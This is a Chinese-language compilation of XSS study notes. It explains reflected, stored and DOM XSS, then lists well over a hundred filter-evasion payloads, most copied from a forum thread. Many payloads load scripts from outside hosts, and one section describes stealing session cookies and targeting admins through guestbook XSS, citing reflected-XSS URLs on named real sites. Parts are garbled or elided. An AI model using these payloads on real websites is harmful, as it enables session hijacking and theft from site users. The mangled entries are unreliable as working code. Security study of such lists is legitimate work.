XSS学习总结
XSS攻擊常識及常見的XSS攻擊腳本匯總
一、什么是XSS?
XSS全稱是Cross Site Scripting即跨站腳本,當目標網站目標用戶瀏覽器渲染HTML文檔的過程中,出現
了不被預期的腳本指令并執行時,XSS就發生了。
這里我們主要注意四點:1、目標網站目標用戶;2、瀏覽器;3、不被預期;4、腳本。
二、XSS有什么危害?
當我們知道了什么是XSS后,也一定很想知道它到底有什么用,或者有什么危害,如何防御。
關于XSS有關危害,我這里中羅列一段列表,詳細介紹不進行更多的贅述:
掛馬
盜取用戶Cookie。
DOS(拒絕服務)客戶端瀏覽器。
釣魚攻擊,高級的釣魚技巧。
刪除目標文章、惡意篡改數據、嫁禍。
劫持用戶Web行為,甚至進一步滲透內網。
爆發Web2.0蠕蟲。
蠕蟲式的DDoS攻擊。
蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網上數據。。。
三、XSS分類
XSS有三類:反射型XSS(非持久型)、存儲型XSS(持久型)和DOM XSS。
1、反射型XSS
發出請求時,XSS代碼出現在URL中,作為輸入提交到服務器端,服務器端解析后響應,XSS代碼隨響應內
容一起傳回給瀏覽器,最后瀏覽器解析執行XSS代碼。這個過程像一次反射,故叫反射型XSS。
一個簡單的例子:
http://www.a.com/xss/reflect.php的代碼如下:
<?php
echo $_GET['x'];
?>
如果輸入x的值未經任何過濾就直接輸出,提交:
http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>
則alert()函數會在瀏覽器觸發。
2、存儲型XSS
存儲型XSS和反射型XSS的差別僅在于,提交的代碼會存儲在服務器端(數據庫,內存,文件系統等),
下次請求目標頁面時不用再提交XSS代碼
最典型的例子是留言板XSS,用戶提交一條包含XSS代碼的留言存儲到數據庫,目標用戶查看留言板時,
那些留言的內容會從數據庫查詢出來并顯示,瀏覽器發現有XSS代碼,就當做正常的HTML與Js解析執行,
于是觸發了XSS攻擊。
3、DOM XSS
DOM XSS和反射型XSS、存儲型XSS的差別在于DOM XSS的代碼并不需要服務器參與,觸發XSS靠的是瀏覽器
端的DOM解析,完全是客戶端的事情。
http://www.a.com/xss/domxss.html代碼如下:
<script>
eval(location.hash.substr(1));
</script>
觸發方式為:http://www.a.com/xss/domxss.html#alert(1)
這個URL#后的內容是不會發送到服務器端的,僅僅在客戶端被接收并解執行。
常見的輸入點有:
document.URL
document.URLUnencoded
document.location
document.referrer
window.location
window.name
xhr請求回來的數據
document.cookie
表單項的值
常見的輸出點有:
直接輸出html內容,如:
document.write(...)
document.writeln(...)
document.body.innerHtml=...
直接修改DOM樹(包括DHTML)如:
document.forms[0].action...(以及其他集合,如:一些對象的src/href屬性等)
document.attachEvent(...)
document.create...(...)
document.execCommand(...)
document.body. ...(直接通過body對象訪問DOM)
window.attachEvent(...)
替換document URL,如:
document.location=...(以及直接賦值給location的href,host,hostname屬性)
document.location.hostname=...
document.location.replace(...)
document.location.assign(...)
document.URL=...
window.navigate(...)
打開或修改新窗口,如:
document.open(...)
window.open(...)
window.location.href=...(以及直接賦值給location的href,host,hostname屬性)直接執行腳本,如:
eval(...)
window.execScript(...)
window.setInterval(...)
window.setTimeout(...)
_______________________________________附常見的XSS攻擊方法
___________________________________________
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG標簽XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG標簽無分號無引號
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG標簽大小寫不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML編碼(必須有分號)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG標簽
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode標簽(計算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode編碼(計算器)
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode編碼是沒有分號的(計算器)
<IMG SRC=jav..省略..S')>
(10)十六進制編碼也是沒有分號(計算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式標簽,將Javascript分開
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式編碼標簽,將Javascript分開
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式換行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回車
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,這是XSS極端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(16)解決限制字符(要求同頁面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 2/6
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
(18)空字符2,空字符在國內基本沒效果.因為沒有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
(19)Spaces和meta前的IMG標簽
<IMG SRC=” javascript:alert(‘XSS’);”>
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
(23)雙開括號
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)無結束腳本標記(僅火狐等瀏覽器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(25)無結束腳本標記2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半開的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”
(27)雙開角括號
<iframe src=http://3w.org/XSS.html <
(28)無單引號 雙引號 分號
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)換碼過濾的JavaScript
\”;alert(‘XSS’);//
(30)結束Title標簽
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>
(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
(33)BODY標簽
<BODY(‘XSS’)>
(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
(38)遠程樣式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
(41)META鏈接url
<META HTTP-EQUIV=”refresh” CONTENT=”0;
URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by?
Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(47)DIV background-image后加上額外字符(1-32&34&39&160&8192-
8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE屬性分拆表達
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
(50)匿名STYLE(組成:開角號和一個字母開頭)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
CLASS=XSS></A>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
<STYLE><STYLE
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(55)EMBED標簽,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
(56)在flash中使用ActionScrpt可以混進你XSS的代碼
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);
(57)XML namespace.HTC文件必須和你的XSS載體在一臺服務器上
<HTML xmlns:xss>
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>
(58)如果過濾了你的JS你可以在圖片里添加JS代碼來利用
<SCRIPT SRC=””></SCRIPT>
(59)IMG嵌入式命令,可執行任意命令
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
(60)IMG嵌入式命令(a.jpg在同服務器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)繞符號過濾
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
(62)
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
(63)
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
(64)
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
(65)
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 4/6
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
(67)
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>
</SCRIPT>
(68)URL繞行
<A HREF=”http://127.0.0.1/”>XSS</A>
(69)URL編碼
<A HREF=”http://3w.org”>XSS</A>
(70)IP十進制
<A HREF=”http://3232235521″>XSS</A>
(71)IP十六進制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP八進制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
(73)混合編碼
<A HREF=”h
tt p://6 6.000146.0×7.147/”">XSS</A>
(74)節省[http:]
<A HREF=”//www.google.com/”>XSS</A>
(75)節省[www]
<A HREF=”http://google.com/”>XSS</A>
(76)絕對點絕對DNS
<A HREF=”http://www.google.com./”>XSS</A>
(77)javascript鏈接
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
========
xss經典實例科普
xss很多人都不重視,總覺得是雞肋,那有多少人真正了解xss呢?
?
xss分為存儲型跟反射型
所謂的反射型 常出現在url 搜索框
http://www.kuaikuai.cn/search?q=%3Cscript%3E%20alert%28%27%E5%BA%
?
97%E5%B0%8F%E4%B8%89%27%29%3B%3C%2Fscript%3E
?
http://www.zhongsou.com/third.cgi?w=%3Cscript%3E+alert%28%
?
2F70826450%2F%29%3B%3C%2Fscript%3E&y=5&k=&netid=&v=%D7%DB%BA%CF
?
http://www.2cto.com /inhesearch/search.jsp?
?
channelid=75029&searchword=%3Cscript%3E+alert%28document.cookie%
?
29%3B%3C%2Fscript%3E&x=51&y=6
?
這些都是所謂的反射型, xss能干嘛? 能偷cookie,怎么樣偷呢?ajax異步傳輸,學過網站開發的都知道
ajax是什么東西。一個反射型的xss當你能調用外部的js的時候 只需要把外面寫好的ajax代碼傳輸的代
碼調用下.把獲取的cookie發送到指定的文件。cookie能干嘛, 我這里就不啰嗦了
?
存儲型的xss
我見過最多的外部存儲型的xss,就是留言本,一些交友論壇的站內消息,等這些地方, 反射型的xss別人
不點擊不觸發,而存儲型的xss存儲在數據庫,不需要在自己去執行攻擊代碼, 自動執行。
?
javascript中用
escape()函數可以進行編碼
unescape()編碼的字符串進行解碼。
在通過evel函數執行
?
Script Encoder加密是微軟出的
?
加空字符串與亂碼混淆加密法
?
通過注釋符//在tab 空格腳本中添加垃圾代碼,并不影響腳本正常執行
?
<script>alert('店小弎')</script> 最普通的xss代碼
<script>alert(document.cookie);</script> 獲取cookie
<img src="javascript:alert('XSS')"> img鏈接地址xss
<script src="ls.js"> <script> 外部調用攻擊代碼ls.js
<SCRIPT>alert/*注釋了把*/('xss')</SCRIPT> 注釋方法防止過濾
<img src="" οnerrοr=alert("xss")> 加載圖像失敗執行
<iframe οnlοad=alert('店小弎')> 框架
<script>location='123.com';</script> 跳轉某頁面
?
body{background-image:url(javascript:alert(“xss”))} 在css樣式
?
加入
??
<a href="javascript:alert('XSS')">店小弎</a> a鏈接的xss
??
這是我經常使用的xss 當然還有其他的, 這些只不過是最常用的, 具體情況具體分析, 學過
javascript的童鞋 我相信都可以看懂這些代碼是干嘛的。 想玩xss的 我建議還是有時間看下
html/javascript 最起碼觸發的事件,標簽等要知道。
??
不管做什么事情頭腦靈活點, 不要覺得xss是雞肋,很多的大站都用session,我看到很多大站還是用的
cookie,只有后臺用的session。 做高并發的時候,假如沒有人要求用session,前臺都用cookie
?
給個例子.你要滲透一個網站,而你不認識管理員, 也不知道這個網站是誰的,當你沒有辦法的時候,隨
手測試留言功能 出現了xss,留言功能很多的網站程序都要管理審核, 管理審核肯定就會觸發.
?
針對過濾也沒有說多少。 說的再多,不會看過濾了那些符號,那也沒有辦法,所以想玩xss的多去測試,本
地調試都可以.
一個資深的滲透測試成員。調試能力這些必須要強,自己動手,豐衣足食物.不要想著靠別人。
========
XSS注入常用語句整理
(轉自Molutran's Blog )<script>alert('hello,gaga!');</script> //經典語句,哈哈!
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"("XSS")>
<IMG SRC="jav	ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
<IMG SRC=" javascript.:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript.:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript.:alert('XSS')">
<IMG LOWSRC="javascript.:alert('XSS')">
<BGSOUND SRC="javascript.:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
<IMG SRC='vbscript.:msgbox("XSS")'>
<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript.:alert('XSS')">
<DIV STYLE="background-image: url(javascript.:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A?
CLASS=XSS></A>
<STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
<BASE HREF="javascript.:alert('XSS');//">
getURL("javascript.:alert('XSS')")
a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascript.:alert('XSS');">
"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript.:alert('XSS')"
<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
========
總結